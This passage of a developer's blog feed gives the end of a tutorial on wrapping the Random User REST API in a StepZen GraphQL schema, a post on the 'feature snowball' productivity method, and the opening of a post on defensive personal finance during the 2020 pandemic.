&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;phone&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;011-962-7516&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;cell&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;081-454-0666&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;id&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;PPS&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;value&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0390511T&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;picture&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;large&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;https://randomuser.me/api/portraits/men/75.jpg&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;medium&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;https://randomuser.me/api/portraits/med/men/75.jpg&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;thumbnail&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;https://randomuser.me/api/portraits/thumb/men/75.jpg&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;nat&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;IE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;info&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;seed&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;fea8be3e64777240&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;results&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;page&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;version&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1.3&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Since the purpose of the Random User API is to return random user data, I can clearly see in the JSON data many of the fields I might be interested in working with: &lt;code>email&lt;/code>, &lt;code>cell&lt;/code>, &lt;code>username&lt;/code>, etc.&lt;/p>
&lt;p>Once you&amp;rsquo;ve clearly identified the fields you want to make use of, move on to the next step.&lt;/p>
&lt;h3 id="step-3-create-a-corresponding-graphql-schema">Step 3: Create a Corresponding GraphQL Schema&lt;/h3>
&lt;p>Once you&amp;rsquo;ve figured out which fields you want to make use of, you need to define a &lt;a href="https://graphql.org/learn/schema/" title="GraphQL Schema">GraphQL schema&lt;/a> that will tell the StepZen service how to &lt;em>understand&lt;/em> the endpoint&amp;rsquo;s response.&lt;/p>
&lt;p>You don&amp;rsquo;t need to be a wizard to do this, just pick out the important fields (and their types) from a REST API response, then build a corresponding GraphQL type.&lt;/p>
&lt;p>For example, here&amp;rsquo;s the &lt;code>RandomUser&lt;/code> type I defined based on the REST API output above:&lt;/p>
&lt;pre tabindex="0">&lt;code>type RandomUser {
 gender: String!
 title: String!
 firstName: String!
 lastName: String!
 streetNumber: Int!
 streetName: String!
 city: String!
 state: String!
 country: String!
 postcode: String!
 latitude: String!
 longitude: String!
 timezoneOffset: String!
 timezoneDescription: String!
 email: String!
 uuid: String!
 username: String!
 password: String!
 salt: String!
 md5: String!
 sha1: String!
 sha256: String!
 dateOfBirth: Date!
 age: Int!
 registeredDate: DateTime!
 registeredAge: Int!
 phone: String!
 cell: String!
 largePicture: String!
 mediumPicture: String!
 thumbnailPicture: String!
 nationality: String!
}
&lt;/code>&lt;/pre>&lt;p>As you can see, I simply defined the fields I care about from the REST response, along with their type.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: The exclamation point after many of these fields is to mark these fields as non-nullable. This means that no matter what, these fields should always be present in a response.&lt;/p>
&lt;p>What you&amp;rsquo;ll want to do is create a new folder in your project and put this code into a file named &lt;code>&amp;lt;servicename&amp;gt;.graphql&lt;/code>. In my case, I created the following directory tree and put the code into the &lt;code>randomuser.graphql&lt;/code> file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">randomuser
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">└─ randomuser.graphql
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-4-define-a-graphql-query">Step 4: Define a GraphQL Query&lt;/h3>
&lt;p>Once your data modeling is complete and you&amp;rsquo;ve defined your type(s), it&amp;rsquo;s time to define a special &lt;code>Query&lt;/code> type that will tell the StepZen service how to communicate with the REST API you&amp;rsquo;re converting.&lt;/p>
&lt;p>To get started, edit the &lt;code>&amp;lt;servicename&amp;gt;.graphql&lt;/code> file and add the following &lt;code>Query&lt;/code> definition:&lt;/p>
&lt;pre tabindex="0">&lt;code>type Query {
 randomUser: RandomUser
 @rest(
 endpoint: &amp;#34;https://randomuser.me/api&amp;#34;
 resultroot: &amp;#34;results[]&amp;#34;
 )
}
&lt;/code>&lt;/pre>&lt;p>This is a barebones query that essentially tells StepZen the &lt;code>randomUser&lt;/code> query will return data of type &lt;code>RandomUser&lt;/code> (which we defined in the previous step) and will get data by hitting the &lt;code>https://randomuser.me/api&lt;/code> endpoint, then parsing the data out of the &lt;code>results&lt;/code> JSON array field.&lt;/p>
&lt;p>But… That&amp;rsquo;s not all! We still have more work to do.&lt;/p>
&lt;p>When I defined the &lt;code>RandomUser&lt;/code> type above, I decided to make all the data flat, and not nested like it was in the original REST API. This is because I don&amp;rsquo;t need any special nested fields when I generate a random user, I just want the data!&lt;/p>
&lt;p>So, the next thing we need to do is explain to StepZen how to convert the nested JSON key/values into the custom schema I defined. To do this, we&amp;rsquo;ll use the &lt;code>setters&lt;/code> REST directive StepZen provides:&lt;/p>
&lt;pre tabindex="0">&lt;code>type Query {
 randomUser: RandomUser
 @rest(
 setters: [
 { field: &amp;#34;title&amp;#34;, path: &amp;#34;name.title&amp;#34; }
 { field: &amp;#34;firstName&amp;#34;, path: &amp;#34;name.first&amp;#34; }
 { field: &amp;#34;lastName&amp;#34;, path: &amp;#34;name.last&amp;#34; }
 { field: &amp;#34;streetNumber&amp;#34;, path: &amp;#34;location.street.number&amp;#34; }
 { field: &amp;#34;streetName&amp;#34;, path: &amp;#34;location.street.name&amp;#34; }
 { field: &amp;#34;city&amp;#34;, path: &amp;#34;location.city&amp;#34; }
 { field: &amp;#34;state&amp;#34;, path: &amp;#34;location.state&amp;#34; }
 { field: &amp;#34;country&amp;#34;, path: &amp;#34;location.country&amp;#34; }
 { field: &amp;#34;postcode&amp;#34;, path: &amp;#34;location.postcode&amp;#34; }
 { field: &amp;#34;latitude&amp;#34;, path: &amp;#34;location.coordinates.latitude&amp;#34; }
 { field: &amp;#34;longitude&amp;#34;, path: &amp;#34;location.coordinates.longitude&amp;#34; }
 { field: &amp;#34;timezoneOffset&amp;#34;, path: &amp;#34;location.timezone.offset&amp;#34; }
 { field: &amp;#34;timezoneDescription&amp;#34;, path: &amp;#34;location.timezone.description&amp;#34; }
 { field: &amp;#34;uuid&amp;#34;, path: &amp;#34;login.uuid&amp;#34; }
 { field: &amp;#34;username&amp;#34;, path: &amp;#34;login.username&amp;#34; }
 { field: &amp;#34;password&amp;#34;, path: &amp;#34;login.password&amp;#34; }
 { field: &amp;#34;salt&amp;#34;, path: &amp;#34;login.salt&amp;#34; }
 { field: &amp;#34;md5&amp;#34;, path: &amp;#34;login.md5&amp;#34; }
 { field: &amp;#34;sha1&amp;#34;, path: &amp;#34;login.sha1&amp;#34; }
 { field: &amp;#34;sha256&amp;#34;, path: &amp;#34;login.sha256&amp;#34; }
 { field: &amp;#34;dateOfBirth&amp;#34;, path: &amp;#34;dob.date&amp;#34; }
 { field: &amp;#34;age&amp;#34;, path: &amp;#34;dob.age&amp;#34; }
 { field: &amp;#34;registeredDate&amp;#34;, path: &amp;#34;registered.date&amp;#34; }
 { field: &amp;#34;registeredAge&amp;#34;, path: &amp;#34;registered.age&amp;#34; }
 { field: &amp;#34;largePicture&amp;#34;, path: &amp;#34;picture.large&amp;#34; }
 { field: &amp;#34;mediumPicture&amp;#34;, path: &amp;#34;picture.medium&amp;#34; }
 { field: &amp;#34;thumbnailPicture&amp;#34;, path: &amp;#34;picture.thumbnail&amp;#34; }
 { field: &amp;#34;nationality&amp;#34;, path: &amp;#34;nat&amp;#34; }
 ]
 endpoint: &amp;#34;https://randomuser.me/api&amp;#34;
 resultroot: &amp;#34;results[]&amp;#34;
 )
}
&lt;/code>&lt;/pre>&lt;p>Using the &lt;code>setters&lt;/code> directive, we&amp;rsquo;re able to tell StepZen which fields in our &lt;code>RandomUser&lt;/code> type can be supplied by which nested paths from the raw REST API JSON data. Neat!&lt;/p>
&lt;p>There are lots of other things you can define using StepZen, so even if you have an incredibly complex endpoint there are always ways to support it. To learn more about this, you might want to read through the &lt;a href="https://stepzen.com/docs/connecting-backends/how-to-connect-a-rest-service">StepZen docs&lt;/a> on the subject.&lt;/p>
&lt;h3 id="step-5-define-the-api-metadata">Step 5: Define the API Metadata&lt;/h3>
&lt;p>Once you&amp;rsquo;ve finished defining the data model and query, the next thing you&amp;rsquo;ll want to do is prepare your GraphQL API schema for production!&lt;/p>
&lt;p>In my case, I wanted to contribute my schema back to the StepZen developer community, so I forked the &lt;a href="https://github.com/steprz/stepzen-schemas" title="StepZen Schemas Repo">stepzen-schemas repo&lt;/a> and created a new top-level folder named &lt;code>randomuser&lt;/code> in which I put my query/data model from above.&lt;/p>
&lt;p>I then wrote up a README and created a &lt;code>stepzen.config.json&lt;/code> file which provides details about this schema:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;RandomUser&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Generates random users for testing purposes using the randomuser.me API.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;categories&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;Dev Tools&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Notice how all I&amp;rsquo;m providing is a &lt;code>name&lt;/code>, &lt;code>description&lt;/code>, and any relevant &lt;code>categories&lt;/code> this schema fits into.&lt;/p>
&lt;p>Finally, I opened a pull request to the StepZen repo and the maintainers tested and merged my schema into the repo so anyone could use it!&lt;/p>
&lt;p>Now, if you have no interest in creating a public GraphQL schema for the REST API you&amp;rsquo;re converting, you can obviously skip this step. So long as you have a folder with your service name and your data model/queries defined, you can use StepZen to run your endpoint regardless of whether or not your schema is publicly available to the world.&lt;/p>
&lt;h2 id="using-your-converted-rest-api">Using Your Converted REST API&lt;/h2>
&lt;p>Once you&amp;rsquo;ve built a schema that teaches StepZen how to talk to the REST API, how do you actually use it?&lt;/p>
&lt;p>Well, in the example above, I built a public-facing StepZen schema and contributed it back to the community. In this case, I can simply use this schema like I would any other:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> stepzen import randomuser
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> stepzen start
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This will download and install the schema I built, then deploy the code in the current directory to my personal StepZen GraphQL endpoint. It&amp;rsquo;ll also watch the directory for changes and automatically deploy them if I tweak any of the schema code, etc.&lt;/p>
&lt;p>In addition to the above, the &lt;code>start&lt;/code> command will open a browser window with the StepZen Schema Explorer that will allow you to test your API by exploring the queries and types available and querying the API running on StepZen.&lt;/p>
&lt;p>If you want to start querying your new GraphQL endpoint directly from an application, read through the &lt;a href="https://stepzen.com/docs/connecting-frontends/connecting-to-stepzen" title="Connecting to Your StepZen API">Connecting to Your StepZen API Guide&lt;/a> which shows some examples of how to connect/query your new GraphQL API.&lt;/p>
&lt;h2 id="recap-how-to-convert-a-rest-api-you-dont-control-to-graphql">Recap: How to Convert a REST API You Don&amp;rsquo;t Control to GraphQL&lt;/h2>
&lt;p>If you&amp;rsquo;re trying to find a way to use GraphQL on a REST API, here&amp;rsquo;s what you should do.&lt;/p>
&lt;p>First, check StepZen&amp;rsquo;s list of &lt;a href="https://github.com/steprz/stepzen-schemas" title="StepZen Publicly Supported Schemas">publicly supported schemas&lt;/a> to see if a schema already exists. This means you can use GraphQL to access the API of your choice without doing much.&lt;/p>
&lt;p>If there isn&amp;rsquo;t a public schema available, go build your own! To do this:&lt;/p>
&lt;ol>
&lt;li>Figure out what endpoints you need to use&lt;/li>
&lt;li>Figuring out what data your endpoints take as input/output&lt;/li>
&lt;li>Define a GraphQL type to reflect what your endpoints look like in GraphQL&lt;/li>
&lt;li>Define a StepZen query to explain how the StepZen service can interact with the REST API&lt;/li>
&lt;/ol>
&lt;p>Once you have a schema, you can easily deploy it live to the StepZen service, which will give you a dedicated GraphQL endpoint/explorer you can query. And bam, you&amp;rsquo;re now able to use GraphQL to talk to any REST API, even ones you don&amp;rsquo;t own/control/etc!&lt;/p></description></item><item><title>The Feature Snowball</title><link>https://rdegges.com/2020/the-feature-snowball/</link><pubDate>Sun, 03 May 2020 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2020/the-feature-snowball/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/monstrous-yeti-sketch.png" alt="Monstrous Yeti Sketch" title="Monstrous Yeti Sketch">
&lt;/p>
&lt;p>The &amp;ldquo;feature snowball&amp;rdquo;, as I like to call it, is a product and time management technique I&amp;rsquo;ve been successfully implementing for the last 10 years or so. I&amp;rsquo;ve used it across many personal projects, work projects, and consulting projects with great success.&lt;/p>
&lt;p>Today, I&amp;rsquo;d like to explain what the feature snowball method is, why you may (or may not) want to adopt it yourself, and how it&amp;rsquo;s worked out for me in my own life.&lt;/p>
&lt;p>But first, let me tell you a little bit about myself.&lt;/p>
&lt;h2 id="my-background-in-tech">My Background in Tech&lt;/h2>
&lt;p>I&amp;rsquo;ve been programming for nearly 20 years at the time of my writing this, 11 of which have been professional. Through my professional tech career, I&amp;rsquo;ve primarily worked on small projects: things a single person (or small group of people) could build and maintain.&lt;/p>
&lt;p>Because of this, I&amp;rsquo;ve always had to fulfill the roles of a developer, product manager, QA engineer, DevOps practitioner, DBA, SEO expert, marketer, salesperson, frontend designer, and security auditor all at once. I haven&amp;rsquo;t ever worked on teams large enough where there were dedicated people to handle these functions.&lt;/p>
&lt;h2 id="struggling-with-productivity">Struggling with Productivity&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/angry-yeti-sketch.png" alt="Angry Yeti Sketch" title="Angry Yeti Sketch">
&lt;/p>
&lt;p>Because I&amp;rsquo;ve always had to wear a lot of hats while working on projects, early on in my career I often struggled with productivity. The biggest productivity obstacle for me has always been how to prioritize my work.&lt;/p>
&lt;p>For example, while I was growing &lt;a href="https://www.ipify.org/">ipify&lt;/a> I had to decide whether I&amp;rsquo;d build developer libraries in a number of different programming languages, write docs for the website, optimize the backend infrastructure for performance, reduce hosting cost, improve the website design, support IPv6 lookups, or perform marketing tasks to help grow the service.&lt;/p>
&lt;p>While each of these tasks was critical to the success of the service, I could only work on one thing at a time. This meant I had to think about and consciously &lt;em>choose&lt;/em> which of these important tasks I&amp;rsquo;d work on.&lt;/p>
&lt;p>Now, I don&amp;rsquo;t know about you, but picking what to work on has always been the hardest part for me.&lt;/p>
&lt;p>Before I discovered the feature snowball method, I&amp;rsquo;d spend hours (sometimes days) carefully thinking through which tasks I&amp;rsquo;d work on next, how important each was in comparison to the others, and how much I was looking forward to (or dreading) each task.&lt;/p>
&lt;p>I&amp;rsquo;d sometimes reflect back on the week and realize I had spent countless hours feeling anxious and dreading work only because I wasn&amp;rsquo;t sure where I should spend my time. Some people call this &amp;ldquo;analysis paralysis&amp;rdquo; or &amp;ldquo;decision fatigue&amp;rdquo;, but whatever you want to call it, it&amp;rsquo;s always been a pain in my ass.&lt;/p>
&lt;h2 id="thinking-about-productivity">Thinking About Productivity&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/hulking-yeti-sketch.png" alt="Hulking Yeti Sketch" title="Hulking Yeti Sketch">
&lt;/p>
&lt;p>One day, early on in my career, I was getting a shower and thinking through what I had to work on the following week. As usual, I had a neverending list of important things to do. The more I thought about what I had to do the following week, the more anxious I felt.&lt;/p>
&lt;p>In order to combat my increasing anxiety about work, I decided to think about all the things I had &lt;em>finished&lt;/em> at work over the last week. As I went through the list, I started to feel better. And not just a &lt;em>little&lt;/em> better, I started getting excited.&lt;/p>
&lt;p>The more I thought about all the things I had accomplished, the more I wanted to get back to work and finish more things. I could feel the momentum building, and I didn&amp;rsquo;t want it to slow down.&lt;/p>
&lt;p>This gave me an idea: what if next week I just finished as many things as possible from my todo list? What if I just picked the easiest things to work on, exclusively focused on those, and built as much momentum as possible?&lt;/p>
&lt;p>The more I thought about it, the more excited I got. By the time my shower ended I was all in on my new productivity experiment.&lt;/p>
&lt;h2 id="the-productivity-experiment">The Productivity Experiment&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/lumbering-yeti-sketch.png" alt="Lumbering Yeti Sketch" title="Lumbering Yeti Sketch">
&lt;/p>
&lt;p>The following week at work was amazing.&lt;/p>
&lt;p>Instead of painstakingly debating with myself about what to work on, I took a quick look at my tasks, picked whatever seemed the simplest, and focused all my effort on whatever that was.&lt;/p>
&lt;p>I distinctly remember crossing five or six long standing tasks off my list that day, which made me feel amazing. The more things I finished, the more productive and less anxious I felt.&lt;/p>
&lt;p>By the end of the week, I felt like a completely different person. I was excited about my work, I wasn&amp;rsquo;t anxious, and I had knocked a ton of items off my todo list. I was on a roll.&lt;/p>
&lt;p>My boss at the time (if you&amp;rsquo;re reading this: hi David!) told me, after the sprint ended, that he was impressed I had finished so much. My velocity had more than doubled through the course of the sprint.&lt;/p>
&lt;p>After that week ended, I decided to keep the experiment going for another week. That second week turned into three weeks, which turned into a month, which quickly turned into the last 10 years.&lt;/p>
&lt;h2 id="the-feature-snowball-method">The Feature Snowball Method&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/wise-yeti-sketch.png" alt="Wise Yeti Sketch" title="Wise Yeti Sketch">
&lt;/p>
&lt;p>The feature snowball method, as I like to call it, is a simplistic product and time management system in which you determine priorities based on how quick something is to complete.&lt;/p>
&lt;p>Instead of deciding which features to build, bugs to fix, or tasks to work on based on business or personal priority (which is the typical way prioritization happens), instead you decide what to work on based on only a single variable: &lt;em>how long will it take to finish?&lt;/em>&lt;/p>
&lt;p>If you&amp;rsquo;re deciding between writing email copy for an upcoming marketing campaign, fixing a bug in your Dockerfile, or building out that new feature your company wants: do some quick analysis to figure out how much time each task will take, then get to work on the smallest task.&lt;/p>
&lt;p>Much like the &lt;a href="https://en.wikipedia.org/wiki/Debt-snowball_method">debt snowball&lt;/a> method for paying down debt, the feature snowball method prioritizes momentum over everything else. The idea is that by getting quick wins and gradually reducing the things you need to do, you&amp;rsquo;ll be able to stay focused, motivated, and make progress towards whatever it is you&amp;rsquo;re trying to accomplish: whether that be building a product, cleaning your house, or working on passion projects.&lt;/p>
&lt;h2 id="why-you-may-want-to-use-the-feature-snowball-method">Why You May Want to Use the Feature Snowball Method&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/cute-yeti-sketch.png" alt="Cute Yeti Sketch" title="Cute Yeti Sketch">
&lt;/p>
&lt;p>If you&amp;rsquo;re working in a small team or on some sort of personal project/hobby, the feature snowball method can be a great way to &amp;ldquo;get over&amp;rdquo; the anxiety and productivity dips that many people (like me) experience when they&amp;rsquo;re overwhelmed.&lt;/p>
&lt;p>I&amp;rsquo;ve found that by ceding control of my priorities to a simple system, I&amp;rsquo;m able to execute on what I need to do without any anxiety. In turn, this makes me more productive and I end up accomplishing more. The net result is that my work &lt;em>efficiency&lt;/em> goes up: I spend more of my time making progress on projects and less of my time managing priorities.&lt;/p>
&lt;p>In my professional life, I also use the feature snowball method extensively, including at my current job as the Head of Evangelism at &lt;a href="https://developer.okta.com/">Okta&lt;/a>. I use Trello to manage all my work tasks, and each week I prioritize my tasks by complexity and knock them off one at a time, least complex first.&lt;/p>
&lt;p>Of course, there are exceptions to the rule.&lt;/p>
&lt;p>For example, a few months ago we were preparing to launch our yearly conference, &lt;a href="https://www.oktane20.com/">Oktane&lt;/a>, so I had to completely ignore my backlog and exclusively focus on Oktane-specific tasks in order to wrap things up.&lt;/p>
&lt;p>Were these Oktane-specific tasks always the simplest things to do? &lt;em>Definitely not!&lt;/em> But, within the list of urgent Oktane tasks I had to attend to, I still followed the feature snowball method as much as possible.&lt;/p>
&lt;p>Each week I&amp;rsquo;d sort through what urgent tasks had to be completed, then I&amp;rsquo;d simply tackle each task in order of how quick I could complete them. By utilizing the feature snowball method in this manner, I&amp;rsquo;m able to remain effective at work while still keeping my momentum up and anxiety down.&lt;/p>
&lt;h2 id="why-you-may-not-want-to-use-the-feature-snowball-method">Why You May Not Want to Use the Feature Snowball Method&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/sad-yeti-sketch.png" alt="Sad Yeti Sketch" title="Sad Yeti Sketch">
&lt;/p>
&lt;p>There are, of course, many situations in which you wouldn&amp;rsquo;t want to use the feature snowball method.&lt;/p>
&lt;p>For example, while my current job is fairly independent in that I can choose what to work on and, for the most part, can accomplish what I need to solo, there are many jobs where that isn&amp;rsquo;t an option.&lt;/p>
&lt;p>If you&amp;rsquo;re working on a project and have a strict deadline to get a feature out the door, you may very well &lt;em>need&lt;/em> to work on whatever is most urgent.&lt;/p>
&lt;p>Likewise, if you&amp;rsquo;re working on a project that involves working with other people in some sort of synchronous manner, you may not have the luxury of deferring a task simply because it&amp;rsquo;s more complex than another.&lt;/p>
&lt;p>I guess what I&amp;rsquo;m saying is that your mileage may vary. Use common sense, and don&amp;rsquo;t sacrifice important tasks for the sake of a productivity philosophy.&lt;/p>
&lt;h2 id="my-results-with-the-feature-snowball-method">My Results with the Feature Snowball Method&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-feature-snowball/old-yeti-sketch.png" alt="Old Yeti Sketch" title="Old Yeti Sketch">
&lt;/p>
&lt;p>As I mentioned near the start of this article, I&amp;rsquo;ve been successfully using the feature snowball method for the last 10 years or so. It&amp;rsquo;s not only helped me to improve my productivity, but it&amp;rsquo;s helped me enjoy my work more.&lt;/p>
&lt;p>If you&amp;rsquo;re the type of person who feels excited and motivated when they finish projects and cross things off their todo list, you may want to give the feature snowball method a try. It&amp;rsquo;s completely changed the way I work, my outlook, and the daily enjoyment of what I do every day.&lt;/p></description></item><item><title>Defensive Finance in a Downturn</title><link>https://rdegges.com/2020/defensive-finance-in-a-downturn/</link><pubDate>Tue, 07 Apr 2020 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2020/defensive-finance-in-a-downturn/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/biohazard-sketch.png" alt="Biohazard Sketch" title="Biohazard Sketch">
&lt;/p>
&lt;p>I live in the bay area of the United States in a suburb of San Francisco. At the time of writing, I&amp;rsquo;ve been in isolation from the world for roughly 3 weeks, with no clear end in sight.&lt;/p>
&lt;p>And while the stock market is currently doing &lt;a href="https://www.investors.com/market-trend/stock-market-today/dow-jones-futures-stock-market-rally-riskier-than-coronavirus-stock-market-crash/" title="Stock Market Rally Riskier than Coronavirus Market Crash">unusually well&lt;/a>, there&amp;rsquo;s no question in my mind that the coronavirus pandemic is going to cause a lot of financial hardship for just about everyone over these next few years.&lt;/p>
&lt;p>Millions of Americans have &lt;a href="https://www.nytimes.com/2020/04/03/upshot/coronavirus-jobless-rate-great-depression.html" title="Coronavirus Jobless Rate vs Great Depression">already lost their jobs&lt;/a>, many businesses have already closed for good, and there&amp;rsquo;s a pretty decent chance this pandemic will &lt;a href="https://www.newyorker.com/news/news-desk/how-long-will-it-take-to-develop-a-coronavirus-vaccine" title="How Long Will It Take for a Coronavirus Vaccine?">take a while to resolve&lt;/a>, even in optimistic scenarios.&lt;/p>
&lt;p>If you haven&amp;rsquo;t done so already, &lt;strong>now&lt;/strong> is the time to put together a &lt;em>defensive plan&lt;/em> for your personal finances. It&amp;rsquo;s important to take stock of your existing situation, your prospects, and develop some logic-driven plans for what you&amp;rsquo;re going to do now and in the future to ensure you come out the other side of this downturn in as strong a position as possible.&lt;/p>
&lt;p>With that said, I&amp;rsquo;ll walk you through how I think about defensive finance and what I&amp;rsquo;m doing with my money to weather the storm.&lt;/p>
&lt;h2 id="are-you-playing-defense-or-offense">Are You Playing Defense or Offense?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/nuclear-bomb-explosion-sketch.png" alt="Nuclear Bomb Explosion Sketch" title="Nuclear Bomb Explosion Sketch">
&lt;/p>
&lt;p>In American life, most people play offense. They focus their time, energy, and effort on acquiring money and do little to &amp;ldquo;defend&amp;rdquo; their money by reducing expenditures, paying down debts, etc.&lt;/p>
&lt;p>I know a lot of talented techies who earn upwards of 200k a year and still live paycheck to paycheck. It isn&amp;rsquo;t as uncommon as you&amp;rsquo;d think. People who manage their personal finances in an offensive way tend to spend what they earn (and sometimes more).&lt;/p>
&lt;p>When they get a raise they use it to move up in lifestyle instead of pay down debts. When they get a bonus it goes towards nice vacations, home improvements, or gifts.&lt;/p>
&lt;p>There&amp;rsquo;s nothing inherently &lt;em>wrong&lt;/em> about playing offense with your money, but it does introduce a substantial amount of risk into your life. If you lose your job, are forced to take a pay cut, or need cash for unexpected expenses it can be dangerous to have large monthly payments.&lt;/p>
&lt;p>If you suddenly find yourself going from making 200k a year to 100k a year, but still have 10k in monthly commitments, you&amp;rsquo;re going to have to make some tough decisions.&lt;/p>
&lt;p>On the other end of the spectrum, you have defensive players like myself. People who are wary of monthly payments and instead try to pay down their debt as fast as possible, reduce liabilities, and generally live a less-risky lifestyle.&lt;/p>
&lt;p>Defensive people tend to live more frugally, keep a substantial amount of cash on hand as a buffer against the unexpected, and are generally &lt;a href="https://rdegges.com/2020/my-personal-financial-strategy/" title="My Personal Financial Strategy">more conservative with their resources&lt;/a>.&lt;/p>
